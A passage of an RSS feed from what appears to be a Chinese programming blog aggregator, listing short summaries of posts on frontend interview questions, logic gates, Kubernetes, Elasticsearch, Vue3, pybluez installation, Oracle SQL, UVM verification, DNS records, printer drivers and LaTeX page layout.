      <description>js 出现次数题目答案2JS的基本数据类型面试官：说说JavaScript中的数据类型？存储上的差别？1深拷贝面试官：深拷贝浅拷贝的区别？如何实现一个深拷贝？1ES6语法const，let，箭头函数，Promise , Generator函数 ，解构赋值 ，模板字符串 、Proxy1箭头函数和function区别面试官：函数新增了哪些扩展？1weekMap和Map的区别，weekMap应用场景在什么地方，使用过吗面试官：你是怎么理解ES6新增Set、Map两种数据结构的？1闭包函数保存变量会造成内存泄漏吗闭包会造成内存泄漏吗？ 不会！！！1map和foreach有什么区别面试官：数组的常用方法有哪些？1浏览器垃圾回收机制说一下面试官：说说 JavaScript 中内存泄漏的几种情况？1js事件循环机制说一下面试官：说说你对事件循环的理解1parseInt是干嘛的面试官：谈谈 JavaScript 中的类型转换机制1[1,2,3].map(parseInt) 为什么输出 1,NaN,NaN[“1”, “2”, “3”].map(parseInt)为什么返回 [1,NaN,NaN] css 出现次数题目答案1rem和em的区别面试官：说说em/px/rem/vh/vw区别?1CSS动画css动画有了解吗1CSS盒模型面试官：说说你对盒子模型的理解?2垂直居中面试官：元素水平垂直居中的方法有哪些？如果元素不定宽高呢？ 浏览器 出现次数题目答案2当用户输入url后发生什么面试官：说说地址栏输入 URL 敲下回车后发生了什么?1dns解析过程面试官：DNS协议 是什么？说说DNS 完整的查询过程?2浏览器缓存，cookie，localStorage，sessionStorage区别理解cookie、session、localStorage、sessionStorage之不同2HTTP2.0相对1.0有什么提升面试官：说说 HTTP1.0/1.1/2.0 的区别?1history和hash原理的不同前端实现路由就是这两种方式浅析一波路由的hash 和 history 的区别与实现原理以及服务器刷新404的问题及解决方法 nodeJs 出现次数题目答案1用node创建一个serverNode.js 创建第一个应用 手写题 出现次数题目答案1判断两个二叉树是否相等正常遍历比较即可1大数相加字符串加减1数组扁平化 vue 出现次数题目答案2vue中data为什么是函数面试官：为什么data属性是一个函数而不是一个对象？1解决跨域面试官：Vue项目中你是如何解决跨域的呢？1双向绑定面试官：双向数据绑定是什么1用过vue-router的什么个人建议，动态路由匹配和路由懒加载一定要有Vue Router1VueX中的mutation和actionvuex 中 actions 与 mutations 的区别，以及如何触发1vue-router的原理是什么大前端进阶-Vue-router原理 参考网站 快手前端一面面经&#xA;快手前端实习生一面（二面结束，期待hr面~许愿offer）&#xA;快手实习一面面经</description>
    </item>
    <item>
      <title>数字电路学习笔记（三）</title>
      <link>https://bchobby.github.io/posts/30d98b25bb279992a79c543df91fcb5e/</link>
      <pubDate>Sat, 11 Sep 2021 16:21:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30d98b25bb279992a79c543df91fcb5e/</guid>
      <description>门电路 基本门电路与门或门非门 复合门电路与非门或非门与或非门异或门同或门 集成门电路TLL集成门电路多发射晶体管TTL与非门TTL集电极开路门（OC门）三态输出门（TS门） CMOS集成门电路CMOS非门CMOS与非门CMOS或非门CMOS传输门 基本门电路 基本门电路有3种：与门（AND）、或门（OR）和非门（NOT）。 与门 电路结构&#xA;只有两个开关AB都闭合时，指示灯才会亮；&#xA;逻辑与（逻辑相乘）：决定事物结果的全部条件同时具备时，结果才发生。&#xA;真值表：用来列举电路各种输入值和对应输出值的表格。&#xA;输入输出ABY0000 10100111 逻辑表达式&#xA;用关系式来表达电路输入输出之间的逻辑关系。与门电路的逻辑表达式： Y = A ⋅ B Y=A\cdot B Y=A⋅B 图形符号&#xA;与门芯片&#xA;与门集成电路74LS08结构图如下，内部有4个与门，每个与门两个输入端，一个输出端。&#xA;拓展&#xA;有很多种与门逻辑电路，还有种电路如下，可自行分析&#xA;或门 电路结构&#xA;只要有任一开关闭合，指示灯都亮。&#xA;逻辑或（逻辑相加）：决定事物结果的诸多条件中只要任何一个满足，结果就会发生。&#xA;真值表&#xA;输入输出ABY0000 11101111 逻辑表达式 Y = A + B Y=A+B Y=A+B&#xA;图形符号&#xA;或门芯片&#xA;74LS32是一种比较常见的或门芯片。内部有4个或门，每个或门有2个输入端，1个输出端。&#xA;拓展&#xA;有很多种或门逻辑电路，还有种电路如下，可自行分析&#xA;非门 电路结构&#xA;开关断开时，指示灯亮；闭和时，指示灯不亮。&#xA;逻辑非（逻辑求反）：条件具备了，结果就不会发生；条件不具备，结果就会发生。&#xA;真值表&#xA;输入输出AY011 0 逻辑表达式 Y = A ‾ Y=\overline{A} Y=A&#xA;图形符号&#xA;非门芯片&#xA;74LS04是一种比较常见的非门芯片（反相器）。内部有6个非门，每个非门有1个输入端，1个输出端。&#xA;拓展&#xA;有很多种非门逻辑电路，还有种电路如下，可自行分析&#xA;复合门电路 复合门电路又称组合门电路，由基本门电路组合而成。常见的复合门电路有与非门、或非门、与或非门、异或门、同或门。 与非门 与非门是由与门和非门组成的</description>
    </item>
    <item>
      <title>K8S-Back-off restarting failed container</title>
      <link>https://bchobby.github.io/posts/b359494b45c4814ca9b4943454a02a11/</link>
      <pubDate>Sat, 11 Sep 2021 16:17:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b359494b45c4814ca9b4943454a02a11/</guid>
      <description>K8S： Back-off restarting failed container 问题描述：&#xA;在网页k8s上想部署一个云主机，centos，于是乎：&#xA;1.创建资源-从表单创建&#xA;2.添加参数&#xA;3.以特权运行并部署&#xA;4.运行后最糟糕的三个红太阳出现了&#xA;查看日志显示：&#xA;终端日志查看：重启失败&#xA;初学很懵逼，百度后解决：&#xA;原因：&#xA;我从官网pull的centos的image，启动容器后，容器内部没有常驻的前台进程，导致容器启动成功后就退出了，所以才一直重启restarting&#xA;类似系统级别的的容器，centos、Ubuntu、nginx都会这样&#xA;解决方法&#xA;我是在网页上创建的pod资源，不知道对应的yam文件在终端哪里存着呢，所以先把yaml文件导出来，在删除pod，最后修改yaml文件并apply的。&#xA;# kubectl get deploy #查看deploy信息 # kubectl get deploy my-centos -o=yaml &amp;gt; my-centos.yaml #导出yaml文件修改 # kubectl get deploy # kubectl delete deploy my-centos # kubectl get service # kubectl delete service my-centos 修改yaml文件，添加command：&#xA;command: [&#34;/bin/bash&#34;,&#34;-ce&#34;,&#34;tail -f /dev/null&#34;] 运行：&#xA;# kubectl apply -f my-centos.yaml # kubectl get pod # kubectl get deploy 网页查看：</description>
    </item>
    <item>
      <title>Java实现的人工智能训练</title>
      <link>https://bchobby.github.io/posts/b5682b5a844c38b0307a455aaa319b38/</link>
      <pubDate>Sat, 11 Sep 2021 15:57:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5682b5a844c38b0307a455aaa319b38/</guid>
      <description>package zuoye; import java.util.Scanner; public class X010103_003AI { public static void main(String[] args) { Scanner scanner = new Scanner(System.in);//扫描键盘输入 String question;//定义字符型变量 while(true) { question = scanner.next();//调用键盘输入 question = question.replace(&#34;你好吗&#34;,&#34;你好！&#34;);//把你好吗替换成你好！ question = question.replace(&#34;能听得懂吗&#34;,&#34;能听得懂&#34;);//把能听得懂吗替换成能听得懂 question = question.replace(&#34;你好&#34;, &#34;你好&#34;);//把你好替换成你好 question = question.replace(&#34;真的吗&#34;, &#34;真的！&#34;);//把真的吗替换成真的！ System.out.println(question); } } } 运行效果如下：</description>
    </item>
    <item>
      <title>ElasticSearch数据迁移失败的问题解决 以及基本操作命令</title>
      <link>https://bchobby.github.io/posts/8a11ed43c546f2736bf50490c0dbe67d/</link>
      <pubDate>Sat, 11 Sep 2021 12:37:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a11ed43c546f2736bf50490c0dbe67d/</guid>
      <description>目标： ElasticSearch数据迁移失败的问题解决 以及基本操作命令&#xA;问题描述： # 迁移数据 POST _reindex { &#34;source&#34;: { &#34;index&#34;: &#34;product&#34; }, &#34;dest&#34;: { &#34;index&#34;: &#34;mall_product&#34; } } 运行出错，出错如下：&#xA;&#34;failures&#34;: [ { &#34;index&#34;: &#34;mall_product&#34;, &#34;type&#34;: &#34;_doc&#34;, &#34;id&#34;: &#34;1&#34;, &#34;cause&#34;: { &#34;type&#34;: &#34;cluster_block_exception&#34;, &#34;reason&#34;: &#34;index [mall_product] blocked by: [FORBIDDEN/12/index read-only / allow delete (api)];&#34; }, &#34;status&#34;: 403 }, 原因分析： 通常我们在Elasticsearch中增加或更新数据时会出现错误：“index [mall_product] blocked by: [FORBIDDEN/12/index read-only / allow delete (api)];”，说名这个索引是只读状态。&#xA;此时我们需要对该索引的设置进行修改.&#xA;解决方案： 先关闭该索引：&#xA;POST mall_product/_close 在获取该索引的设置&#xA;GET mall_product/_settings 结果如下：</description>
    </item>
    <item>
      <title>vue3 ref属性</title>
      <link>https://bchobby.github.io/posts/bf6af62281891c4c5cd936787cb57e51/</link>
      <pubDate>Fri, 10 Sep 2021 20:33:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf6af62281891c4c5cd936787cb57e51/</guid>
      <description>vue3 ref属性 操作单个DOM元素 操作单个DOM或者组件的流程&#xA;定义一个响应式变量把变量返回给模板使用模板中绑定上述返回的数据可以通过info变量操作DOM或者组件实例 &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div&amp;gt;ref操作DOM和组件&amp;lt;/div&amp;gt; &amp;lt;hr&amp;gt; &amp;lt;!-- 3、模板中绑定上述返回的数据 --&amp;gt; &amp;lt;div ref=&#39;info&#39;&amp;gt;hello&amp;lt;/div&amp;gt; &amp;lt;!-- &amp;lt;my-com ref=&#39;info&#39;&amp;gt;hello&amp;lt;/my-com&amp;gt; --&amp;gt; &amp;lt;ul&amp;gt; &amp;lt;li ref=&#39;fruit&#39; v-for=&#39;item in fruits&#39; :key=&#39;item.id&#39;&amp;gt;{{item.name}}&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;button @click=&#39;handleClick&#39;&amp;gt;点击&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import { ref } from &#39;vue&#39; export default { name: &#39;App&#39;, setup () { // Vue3中通过ref操作DOM // 1、定义一个响应式变量 const info = ref(null) const fruits = ref([{ id: 1, name: &#39;apple&#39; }, { id: 2, name: &#39;orange&#39; }]) const handleClick = () =&amp;gt; { // 4、此时可以通过info变量操作DOM console.</description>
    </item>
    <item>
      <title>python 安装pybluez 踩坑记</title>
      <link>https://bchobby.github.io/posts/710e949a5b1c8afd49b28d77c06e8ce5/</link>
      <pubDate>Fri, 10 Sep 2021 17:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/710e949a5b1c8afd49b28d77c06e8ce5/</guid>
      <description>1、安装pybluez&#xA;pip install pybluez&#xA;2、提示需要安装c++ 14.00的框架。&#xA;网上给的安装包都不好使。直接上官网下载，并安装visual studio 社区版本，并选择需要的语言以及环境。&#xA;3、提示&#xA;原因分析：&#xA;这个主要是因为Windows 10 SDK将“IRPROPS.LIB”这个文件移除了。参考别的大佬的说明讲一下这个文件是干什么的：&#xA;这个文件是1990年代到2000年代间为红外通信之类的近场通信准备的。在2004年，Windows XP SP2准备添加对蓝牙功能的支持，但当时的Service Pack不允许添加新的运行库DLL文件，因此开发人员不得不将蓝牙功能加入到红外功能的库和控制面板中。虽然后来取消了这一限制，但为了兼容IRPROPS.CPL控制面板文件，蓝牙功能不得不被保留在IRPROPS.LIB中。开发人员其实很早就在BTHPROPS.LIB文件中完成了对蓝牙所有功能的支持，并很早就告知其他开发者使用BTHPROPS.LIB，但毕竟没人愿意重构好长时间的项目。最后，微软的Windows SDK直接删掉了IRPROPS.LIB文件。至于为啥要删除，而不再保留，开发者说是为了让这一告知更加显眼。“We decided that it was better to make the break obvious.”&#xA;参考文献：https://devblogs.microsoft.com/oldnewthing/20190516-00/?p=102498&#xA;原文链接：https://blog.csdn.net/w12w12w12/article/details/116466157&#xA;解决方法：&#xA;那么既然知道问题所在，那么解决办法也很简单：&#xA;从Pybluez安装失败的报错中找到IRPROPS.LIB应该存在的位置，我的电脑上其位置是“C:\Program Files (x86)\Windows Kits\10\Lib\10.0.19041.0\um\x64”。&#xA;利用管理员权限打开命令提示符CMD，转到该目录，输入命令“mklink IRPROPS.LIB bthprops.lib”为IRPROPS.LIB创建指向bthprops.lib的符号链接&#xA;（或者用cmd命令框，打开之前，需要用管理员身份打开命令框。）&#xA;再使用“pip install pybluez”安装Pybluez库就可以使用了。PyCharm如果遇到类似问题也可以这样解决。&#xA;原文链接：https://blog.csdn.net/w12w12w12/article/details/116466157</description>
    </item>
    <item>
      <title>route和router区分</title>
      <link>https://bchobby.github.io/posts/04f01cf915ff8fbf10d2e7f0416bd7c6/</link>
      <pubDate>Fri, 10 Sep 2021 16:42:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04f01cf915ff8fbf10d2e7f0416bd7c6/</guid>
      <description>route：路由，路由是指在一个端接受数据包然后定向到目的地端的过程。route像是运输的包，里面有请求的数据。所以我们可以从route中得到请求参数。&#xA;router: 路由器，路由器通过一些手段用来维护路由表，通过路由来进行数据转发，转发的策略叫做路由选择，这是路由器名字的由来。所以router用来进行路由跳转等动作。&#xA;只要记住这个英文的意思就不会混淆了，语义化很实用。&#xA;其他定义：&#xA;节点： 转节点：路由器，交换机，网关，防火墙访问节点：计算机 结点： 链路结点：交换机路由结点：路由器 链路：端到端中间经过的串点。 物理：由计算机和网线实现。数据：由网络协议实现。 通路：节点到节点的链路串连。网络拓扑：&#xA;从电子图到网络拓扑。 图1是电网络及其线图的例子，其中的线段称作支路，点称作节点，若每条支路都规定了方向就是有向图，否则为无向图&#xA;树的定义&#xA;树定义为包含线图中所有节点但不含回路的联通子图，线图中属于该树的支路叫作树支，其它则为连支&#xA;线图：上面的图就是线图，联通子图指下面的图2。&#xA;以图2第一棵树为例：&#xA;树支：u1-u2,u2-u3,u2-u0。3条&#xA;连支：u1-u0,u3-u0。2条&#xA;节点：4个。&#xA;支路：5条。定义在上面（1）&#xA;一个线图通常有许多棵树，图2为图1(b)线图的一些树&#xA;就是将图1（b）进行分解，目前是分解为3种树。&#xA;设线图有n+1个节点和b条支路，则树支恰有n条，连支则有b-n条。利用树可以系统地找出最大数目的独立回路组，方法是选定一棵树，给树每增添一条连支，就构成一个只包含该连支的回路，并称为基本回路，这样由b-n条连支共可得出b-n个独立的基本回路组。&#xA;分析：图1（b）中，我们选定一种连接节点的树，比如图（2）中的第一种，可以看出，其有4个节点，5条支路。那么根据公式有n+1个节点和b条支路，则树支恰有n条，连支则有b-n条，n=4-1=3，连支有5-3=2条。那么树1就有2条独立的基本回路组。&#xA;结构分类：待续。</description>
    </item>
    <item>
      <title>Java程序编写一个矩形类，将长与宽作为矩形类的属性，在构造方法中将长、宽初始化，定义一个成员方法求此矩形的面积。</title>
      <link>https://bchobby.github.io/posts/e9c88613d48ba19722aff8eeddf5fa51/</link>
      <pubDate>Fri, 10 Sep 2021 16:33:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9c88613d48ba19722aff8eeddf5fa51/</guid>
      <description> package javase7; public class javase7_2 { private float height; //定义一个矩形的长 private float width; //定义一个矩形的宽 public javase7_2(float height,float width){ this.height=height; this.width=width; } public float square(){ return height*width; //矩形的面积 } public static void main(String [] args){ javase7_2 l =new javase7_2(5f,8f); System.out.println(&#34;矩形面积：&#34;+l.square()); } } </description>
    </item>
    <item>
      <title>VSCode 正则替换节点增加属性</title>
      <link>https://bchobby.github.io/posts/75a68ab56dde38a91c6b7870ab95492e/</link>
      <pubDate>Fri, 10 Sep 2021 13:17:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75a68ab56dde38a91c6b7870ab95492e/</guid>
      <description>&amp;lt;div class=&#39;node&#39; name=&#34;jlr&#34; @click=&#34;nodePopEvent($event)&#34;&amp;gt; Ctrl +H, 弹出搜索框&#xA;Find: (name=&#34;([a-z]*)&#34;)&#xA;Replace: $0 ref=&#34;$2&#34; 点击 替换 或 替换全部:&#xA;替换成功.</description>
    </item>
    <item>
      <title>C语言结构体实现简单通讯录管理系统</title>
      <link>https://bchobby.github.io/posts/39cad943b99a8f4f087f0ab8e0725cae/</link>
      <pubDate>Thu, 09 Sep 2021 18:54:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39cad943b99a8f4f087f0ab8e0725cae/</guid>
      <description>效果如图：&#xA;代码及详情如下：&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; /*通讯录管理 问题描述：利用线性表实现一个通讯录管理。 要求： 1）实现通信录的建立、增加、删除、修改、查询等功能 ； 2） 能够实现简单的菜单交互，即可以根据用户输入的命令，选择不同的操作； 3） 能够保存每次更新的数据； 4） 编写main()函数测试操作的正确性。*/ typedef struct people {//定义联系人结构体 char name[20];//名字 char tel[20];//电话 }P; P num[100];//定义结构体数组，可以存100个联系人的信息 int i=0;//用于作联系人的序号，或者可以判断联系人个数是否到达了最大值 //函数声明 void menu(); void add(); void del(); void find(); void edit(); void print(); int main() { system(&#34;title 通讯录管理系统&#34;); int in;//选择值 while (1) { menu();//菜单 scanf(&#34;%d&#34;, &amp;amp;in); switch (in) { case 0:return;&#x9;//退出系统 case 1:add(); break;&#x9;//添加联系人 case 2:del(); break;&#x9;//删除联系人 case 3:find(); break;&#x9;//查找联系人 case 4:edit(); break;&#x9;//编辑联系人 case 5:print(); break;&#x9;//打印通讯录 default:printf(&#34;</description>
    </item>
    <item>
      <title>macOS环境安装zsh的跌跌撞撞：vscode终端修改为zsh, zsh: command not found:npm</title>
      <link>https://bchobby.github.io/posts/feb4cf5cdae745c97c8654f60904effa/</link>
      <pubDate>Thu, 09 Sep 2021 17:49:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/feb4cf5cdae745c97c8654f60904effa/</guid>
      <description>通过安装zsh安装后，遇到的问题了几个小问题。&#xA;vscode终端怎么修改为zsh?&#xA;默认vscode终端为bash,我们需要在设置中修改默认配置文件。默认配置文件路径为：code-&amp;gt;首选项-&amp;gt;设置-&amp;gt;搜索终端，修改选项为zsh&#xA;zsh: command not found:npm&#xA;先确认本地是否安装了nodejs环境？如果你没有安装nodejs环境，自行安装一下。nodejs环境安装好就会自带npm。&#xA;如果已经安装了nodejs，仍然报command not found:npm。那就按照下面的步骤来执行一下。&#xA;在终端执行：open ~/.zshrc&#xA;在弹出的文件最底部添加： source ～/.bash_profile 这一步将.bash_profile全部环境变量加入zsh shell。&#xA;在终端执行：source ～/.zshrc 更新.zshrc配置&#xA;如果到这一步你成功了，那恭喜了🎉。我在这一步还遇到了compinit:503: no such file or directory: /usr/local/share/zsh/site-functions/_brew_cask。那么接下来在终端执行 brew cleanup ，然后重复第三步，完成配置更新。</description>
    </item>
    <item>
      <title>Spring之Joinpoint类详解</title>
      <link>https://bchobby.github.io/posts/c912f43f71567145c031ee0c73c7ee65/</link>
      <pubDate>Thu, 09 Sep 2021 15:19:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c912f43f71567145c031ee0c73c7ee65/</guid>
      <description>说明 Joinpoint是AOP的连接点。一个连接点代表一个被代理的方法。我们从源码角度看连接点有哪些属性和功能。&#xA;源码 /* * Copyright 2002-2016 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the &#34;License&#34;); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an &#34;</description>
    </item>
    <item>
      <title>Oracle数据库中实现“多行一列”转“一行多列”</title>
      <link>https://bchobby.github.io/posts/925c3ee593dec024e16a63d6edabaa09/</link>
      <pubDate>Thu, 09 Sep 2021 15:09:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/925c3ee593dec024e16a63d6edabaa09/</guid>
      <description>Oracle数据库内数据大多按行存储，以测试数据样式为例:&#xA;YMNUM2020011520200252020031220200472020059202006122020078202008120200922020103202011132020126 自己随手在数据库内建的数据，每个月对应一个数量，如果想要展示成一行多列：&#xA;数据202001|数据202002|数据202003|数据202004|数据202005|数据202006|数据202007|数据202008|数据202009|数据202010|数据202011|数据202012|&#xA;sql如下：&#xA;SELECT sum(CASE WHEN YM=&#39;202001&#39; THEN num end) AS 数据202001, sum(CASE WHEN YM=&#39;202002&#39; THEN num end) AS 数据202002, sum(CASE WHEN YM=&#39;202003&#39; THEN num end) AS 数据202003, sum(CASE WHEN YM=&#39;202004&#39; THEN num end) AS 数据202004, sum(CASE WHEN YM=&#39;202005&#39; THEN num end) AS 数据202005, sum(CASE WHEN YM=&#39;202006&#39; THEN num end) AS 数据202006, sum(CASE WHEN YM=&#39;202007&#39; THEN num end) AS 数据202007, sum(CASE WHEN YM=&#39;202008&#39; THEN num end) AS 数据202008, sum(CASE WHEN YM=&#39;202009&#39; THEN num end) AS 数据202009, sum(CASE WHEN YM=&#39;202010&#39; THEN num end) AS 数据202010, sum(CASE WHEN YM=&#39;202011&#39; THEN num end) AS 数据202011, sum(CASE WHEN YM=&#39;202012&#39; THEN num end) AS 数据202012 FROM csdn_case WHERE YM BETWEEN &#39;202001&#39; AND &#39;202012&#39; 最终展示效果如下：</description>
    </item>
    <item>
      <title>UVM自学笔记：项目之四（重难点）——具有AHB二级流水特性的高适用性driver的编写（考虑到hready为低情况）</title>
      <link>https://bchobby.github.io/posts/95be6b023a2f068aff67afbbd67b0379/</link>
      <pubDate>Thu, 09 Sep 2021 12:16:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95be6b023a2f068aff67afbbd67b0379/</guid>
      <description>目录&#xA;1. driver写功能编写，为了验证driver的功能我们同时需要完善sequence、sequence_item、env、testcase以及模拟DUT行为的Slave_module&#xA;1.1 interface的编写：&#xA;1.2 driver写功能编写：&#xA;1.2.1 初始main_phase代码：&#xA;1.2.2 满足AHB二级流水要求的main_phase代码：&#xA;1.2.3. do_drive任务代码：&#xA;1.2.4.send_addr_control()/send_wdata()/judge_trans_finished()任务代码&#xA;1.2.5.对照波形进行判断&#xA;1.3. 模拟slave行为具有发送hready信号功能的module的代码&#xA;1.4. seq_item的编写，代码如下：&#xA;1.5. seq的编写，代码如下：&#xA;1.6. 在testcase中启动seq，给seq配置控制参数具体值&#xA;1.7. 在tb_top中将tb与slave_module连接起来，并且产生时钟和复位信号&#xA;1.8. 写makefile跑仿真验证写信号时序正确性&#xA;1.8.1我们打开VCS看看波形&#xA;2.完善driver的读写功能时序&#xA;2.1driver的代码部分：&#xA;2.1.1 driver中的main_phase阶段代码如下：&#xA;2.1.2 get_sim_trans的任务如下，也可以将该task写成方法&#xA;2.1.3 do_drive任务代码如下：&#xA;2.1.4 do_drive中的send_addr_control任务代码：&#xA;2.1.5 do_drive中的send_wdata任务代码：&#xA;2.1.6 do_drive中的judge_trans_finished任务代码：&#xA;2.2 接下来我们完善模拟DUT行为的Slave的module的编写&#xA;2.2.1 Slave中产生hready信号：&#xA;2.2.2 Slave中判断一笔trans是否完成：&#xA;2.2.3 Slave接受总线上的数据：&#xA;​&#xA;2.2.4 Slave发送一笔读数据： 2.2.5 其他组件配置：&#xA;3. 用makefile编译，VCS仿真查看结果：&#xA;1. driver写功能编写，为了验证driver的功能我们同时需要完善sequence、sequence_item、env、testcase以及模拟DUT行为的Slave_module 1.1 interface的编写： interface如下，在driver，monitor和slave_module的clocking_block中声明好各自信号的方向。 1.2 driver写功能编写： 1.2.1 初始main_phase代码： Driver 通过79行代码get到seq传来的req，随后执行do_drive函数将该笔trans传递到总线上，然后调用82行代码完成与seq的握手，之后通过83行代码，来到下一个时钟上升沿，这样做会有以下几个缺点：&#xA;（1）首先，#10ns是一个hard code，一旦我们更改了时钟频率，就要到driver中重新修改该值，非常不便利。</description>
    </item>
    <item>
      <title>域名系统的解析过程 域名解析多久可以生效</title>
      <link>https://bchobby.github.io/posts/ed16ba0f565c165b43a0902c6b40aa5e/</link>
      <pubDate>Thu, 09 Sep 2021 11:50:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed16ba0f565c165b43a0902c6b40aa5e/</guid>
      <description> 我们网站建设好以后，就需要把域名注册好，然后进行解析，这样才能确保网站顺利上线。那么你知道域名系统的解析过程吗？域名解析多久可以生效呢？下面随我们来看一看。 域名系统的解析过程 比如，如果是单线主机建议采用A记录解析，如果是双线或者多线主机，建议采用别名解析。下面我们具体介绍下几种解析设置的区别。 1.A记录解析 A记录解析是最为常见的域名解析方式，记录类型选择”A”，记录值填写空间商提供的主机IP地址，MX优先级不需要设置，TTL设置默认的即可。选择A记录时，需要设定域名或者子域名指向，注意：对应值必须是IP地址；主机名必须填写，用@可以表示主机名为空；泛域名解析，请在主机名处输入*，增加A记录即可。 2.CNAME记录解析 CNAME类型解析设置的方法和A记录类型基本是一样的，其中将记录类型修改为”CNAME”，并且记录值填写服务器主机地址即可。不过对应的值不是一个固定的IP，而是主机的别名地址，别名解析步骤为：在主机名处填写www或者其他名称；记录类型选择CNAME记录；在记录值填写别名地址；点击立即添加，完成别名解析。 3.MX记录解析 MX记录是相对用到较少的一种解析，MX记录是做邮箱解析使用的。记录类型选择MX，线路类型选择通用或者同时添加三条线路类型为电信、网通、教育网的记录；记录值填写邮局商提供的服务器IP地址或别名地址；TTL设置默认的即可，MX优先级填写邮局提供商要求的数据，或是默认10，有多条MX记录的时候，优先级要设置不一样的数据。 域名解析多久可以生效 域名解析生效时间很快，一般服务商都是给予24小时之内生效的承诺，但往往都是一两个小时内就可以生效。 如果公司有内部DNS服务器的话，可能要等其缓存的更新，可能需要48小时。 一般通用顶级域名解析是2小时内生效，国家顶级域名解析24小时内生效。因为域名解析需要同步到DNS根服务器，而DNS根服务器会不定时刷新，只有DNS根服务器刷新后域名才能正常访问。 新增解析一般会在10分钟左右生效，最长不会超过24小时，修改解析时间会稍微延长。 域名解析生效的过程，是域名与IP绑定的过程。当解析生效后，用户访问域名时的实现机制是：由 DNS 服务器询问域名指向了哪个 IP 地址，再由 DNS 服务器告诉客户端打开对应网站空间。 全球有无数的互联网节点与 DNS 服务器，在设置域名解析记录后，将此结果同步至全球各个 DNS 服务器，这一过程所需要的时间即为解析生效时间。 怎么取消域名解析 域名所有者可以到域名管理中心，对需要取消解析的域名进行管理，在域名解析操作界面，将解析记录删除，即可实现取消域名解析。 域名解析是把域名指向网站空间IP，让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址，为了方便记忆，采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。 域名解析常见类型，有A记录解析、CNAME记录解析、MX记录解析等7种。接下来，我们以我们的域名为例简单介绍怎么取消域名解析。 1、进入用户中心：首先我们登录到我们的用户中心 2、进入域名管理列表：接着，在用户中心，找到域名管理列表页面，在这里，我们可以看到名下的所有域名。 3、取消域名解析 选择需要取消的域名，点击右侧“管理”，进入到具体域名管理界面。 在这里，我们选择“域名解析”功能，进入操作界面。 将已经设置的域名解析记录删除，即可取消域名解析。取消域名解析后，我们就无法使用域名来访问主机了。 </description>
    </item>
    <item>
      <title>ECOSYS FS-1040 USB打印驱动安装</title>
      <link>https://bchobby.github.io/posts/13689655d153a6d718e62328da32aa36/</link>
      <pubDate>Thu, 09 Sep 2021 11:02:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13689655d153a6d718e62328da32aa36/</guid>
      <description>前言 老旧的机器，打印总出现【突然罢工】的毛病，等几个小时又突然运作，哎。。。&#xA;官方驱动下载 https://www.kyoceradocumentsolutions.com.cn/support/mfp/download/&#xA;安装前的准备 1.用USB 连线连接电脑和打印机。&#xA;2.将电源线连接机器，打开电源开关开机。&#xA;如果在USB 连接状态下，电脑上自动跳出【发现新硬件的对话框】窗口，请点击【取消】。&#xA;打印驱动的安装(安装USB 打印驱动时，将同时自动安装KYOCERA Client Tool 软件)&#xA;在电脑上启动安装光盘，点击Setup.exe，运行安装程序。将进入软件安装界面。&#xA;在安装对话框内点击【接受】进入安装步骤。&#xA;您可以通过滚动窗口选择语言类型。&#xA;安装界面内会显示已连接的打印机图标。选择该图标，点击【安装】开始打印驱动安装。&#xA;显示安装进度界面。点击【详细资料】可以查看驱动安装详细信息。&#xA;点击【完成】结束驱动安装。&#xA;如果您想打印测试页，请勾选【打印测试页】，然后点击【完成】结束驱动安装。&#xA;※上述快速安装模式下安装打印机驱动的同时，将默认安装KYOCERA Client Tool 软件。&#xA;进入Windows 控制面板，选择【打印机和传真】界面，可以看到您已经安装的打印驱动。&#xA;右键驱动图标，选择【属性】即可进行驱动的相关设置。</description>
    </item>
    <item>
      <title>latex中如何设置页边距和页眉页脚？</title>
      <link>https://bchobby.github.io/posts/28e168edfe688e9b0483932cc3072395/</link>
      <pubDate>Thu, 09 Sep 2021 10:57:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28e168edfe688e9b0483932cc3072395/</guid>
      <description> ##页面和分栏&#xA;1.页边距， 1in&#xA;2. \oddsidemargin或\evensidemargin，奇数或偶数页左边距，46pt；&#xA;3. \textwidth，正文宽度，360pt。&#xA;4. 剩下的119pt&#xA;5. 页边距，1in&#xA;6. \topmargin，上边距，18pt&#xA;7. \headheight，页眉高度，12pt&#xA;8. \headsep，页眉与正文间距，25pt&#xA;9. \textheight,正文高度，595pt&#xA;10.\footskip，正文与页脚基线间距，30pt&#xA;11. 845pt减去上面全部尺寸，还剩下 93pt，比上面多了3pt&#xA;当字号发生变化时，上面的尺寸也会发生一定的变化，比如我们将oneside改成twoside，那么奇偶页的左边距分别变成22pt和70pt。&#xA;如果需要改动缺省设置，可以使用\setlength和\addtolength来设置上述宏变量的值。&#xA;也可以用geometry宏包设置：&#xA;\usepackage[paperwidth=100nm, paperheight=150nm, margin=20nm]{geometry} \usepackage[top=2in,bottom=1in, left=1in, right=1in]{geometry} 页面样式 